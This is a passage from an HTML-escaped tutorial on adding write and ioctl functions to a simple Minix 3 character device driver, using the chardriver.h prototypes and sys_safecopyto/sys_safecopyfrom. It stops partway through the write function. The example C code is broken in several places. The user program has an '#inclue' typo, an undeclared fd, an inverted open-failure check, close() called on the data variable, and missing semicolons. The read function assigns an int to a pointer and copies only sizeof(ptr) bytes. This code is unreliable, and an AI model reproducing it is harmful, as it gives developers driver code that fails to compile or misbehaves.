&lt;p&gt;The service can now be booted up by running…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;service up /service/[name] &lt;span class=&quot;nt&quot;&gt;-major&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;chosen major number]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The service can also be taken down with the command…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;service down &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;name]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From here you should be able to read from the device driver. For example, issuing a &lt;em&gt;cat /dev/[name]&lt;/em&gt; should let you read from the device. This is about where the Minix &lt;a href=&quot;https://wiki.minix3.org/doku.php?id=developersguide:driverprogramming&quot;&gt;wiki tutorial&lt;/a&gt; finishes up.&lt;/p&gt;

&lt;h1 id=&quot;going-a-bit-further&quot;&gt;Going a Bit Further…&lt;/h1&gt;

&lt;p&gt;The simple character device driver from the Minix tutorial includes function prototypes for opening, closing and reading from the device file. But what if you would like some additional functionality - say, writing to or controlling I/O to the file?&lt;/p&gt;

&lt;p&gt;In the driver source there is an include file referencing &lt;em&gt;&amp;lt;minix/chardriver.h&amp;gt;&lt;/em&gt; (this is a reference to &lt;em&gt;/usr/include/minix/chardriver.h&lt;/em&gt;). This file contains the entry points for additional device dependent character driver function prototypes. This file includes not only &lt;strong&gt;open&lt;/strong&gt;, &lt;strong&gt;close&lt;/strong&gt; and &lt;strong&gt;read&lt;/strong&gt; but also &lt;strong&gt;write&lt;/strong&gt;, &lt;strong&gt;ioctl&lt;/strong&gt;, &lt;strong&gt;cancel&lt;/strong&gt;, &lt;strong&gt;select&lt;/strong&gt;, &lt;strong&gt;intr&lt;/strong&gt;, &lt;strong&gt;alarm&lt;/strong&gt; and &lt;strong&gt;other&lt;/strong&gt;. For now, we will cover adding both write and I/O control (&lt;em&gt;ioctl&lt;/em&gt;) functionality to the driver.&lt;/p&gt;

&lt;p&gt;Included below are the function prototypes covered by this tutorial (from &lt;em&gt;/usr/include/minix/chardriver.h&lt;/em&gt;).&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chardriver&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cdr_open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;devminor_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;minor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;access&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpoint_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cdr_close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;devminor_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;minor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;ssize_t&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cdr_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;devminor_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;minor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;position&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpoint_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cp_grant_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cdev_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;ssize_t&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cdr_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;devminor_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;minor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;position&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpoint_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cp_grant_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cdev_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cdr_ioctl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;devminor_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;minor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpoint_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cp_grant_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpoint_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cdev_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In your device driver code you will see these function prototypes initialized. You will notice of course that the &lt;em&gt;write&lt;/em&gt; and &lt;em&gt;ioctl&lt;/em&gt; functions are not included in the &lt;em&gt;hello&lt;/em&gt; example driver. You must add these function declarations. This can be done by copying the declarations seen in the &lt;em&gt;chardriver.h&lt;/em&gt; file described above into the driver source file. &lt;strong&gt;Note&lt;/strong&gt; &lt;em&gt;_*__ the name of the function should not be (*cdr_open) but rather a function name of your choice, such as _[name]_write&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Following the function prototype declarations, you will see some entry points into the driver, defined in &lt;em&gt;struct chardriver&lt;/em&gt;. You will need to add some entry points for the other functions not defined in the original example &lt;em&gt;hello&lt;/em&gt; driver. This includes the &lt;em&gt;write&lt;/em&gt; and &lt;em&gt;ioctl&lt;/em&gt; functions. Adding these to the &lt;em&gt;chardriver struct&lt;/em&gt; can be seen below.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chardriver&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_tab&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cdr_open&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cdr_close&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cdr_read&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cdr_write&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cdr_ioctl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_ioctl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;read-function&quot;&gt;&lt;em&gt;read&lt;/em&gt; Function&lt;/h2&gt;

&lt;p&gt;As discussed in the Minix &lt;a href=&quot;https://wiki.minix3.org/doku.php?id=developersguide:driverprogramming&quot;&gt;wiki post&lt;/a&gt;, the &lt;em&gt;read&lt;/em&gt; function copies a string from the device driver program back to the calling user program by reading from the device file &lt;em&gt;/dev/hello&lt;/em&gt;. This is done within the device driver primarily through the use of the &lt;em&gt;sys_safecopyto&lt;/em&gt; function. The &lt;em&gt;sys_safecopyto&lt;/em&gt; function reads &lt;strong&gt;size&lt;/strong&gt; (which is a value passed to the &lt;em&gt;read&lt;/em&gt; function as an argument) amount of bytes from the location pointed to by &lt;strong&gt;ptr&lt;/strong&gt; and passes that back to the libc library &lt;em&gt;read&lt;/em&gt; call which invoked it. In the code snippet below, whatever value is stored in &lt;em&gt;int contents&lt;/em&gt; is passed back to the caller.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;ssize_t&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;devminor_t&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;UNUSED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;minor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;position&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpoint_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cp_grant_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UNUSED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cdev_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UNUSED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys_safecopyto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vir_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This &lt;em&gt;read&lt;/em&gt; function is invoked from a user program such as the (simple) one included below. This program simply reads an integer out of the device file and displays it on the command line.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#inclue &amp;lt;sys/types.h&amp;gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;fcntl.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#define [NAME]_DEV &quot;/dev/[name]&quot;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DEV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;O_RDWR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;close&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;write-function&quot;&gt;&lt;em&gt;write&lt;/em&gt; Function&lt;/h2&gt;

&lt;p&gt;In the &lt;em&gt;[name]_write&lt;/em&gt; function shown below, the reverse of &lt;em&gt;sys_safecopyto&lt;/em&gt; is used - &lt;strong&gt;sys_safecopyfrom&lt;/strong&gt;. This function is used to take data from the caller and write it into a value in the driver. The &lt;em&gt;sys_safecopyfrom&lt;/em&gt; function writes &lt;em&gt;size&lt;/em&gt; bytes from the calling libc library &lt;em&gt;write&lt;/em&gt; function and writes it into the location pointed to by &lt;em&gt;ptr&lt;/em&gt;. The &lt;em&gt;[name]_write&lt;/em&gt; function code is shown below. In this case, an integer is being written from the calling function to the device file.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;ssize_t&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;devminor_t&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;UNUSED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;minor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;position&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpoint_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cp_grant_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UNUSED&lt;/span&gt;&lt;span 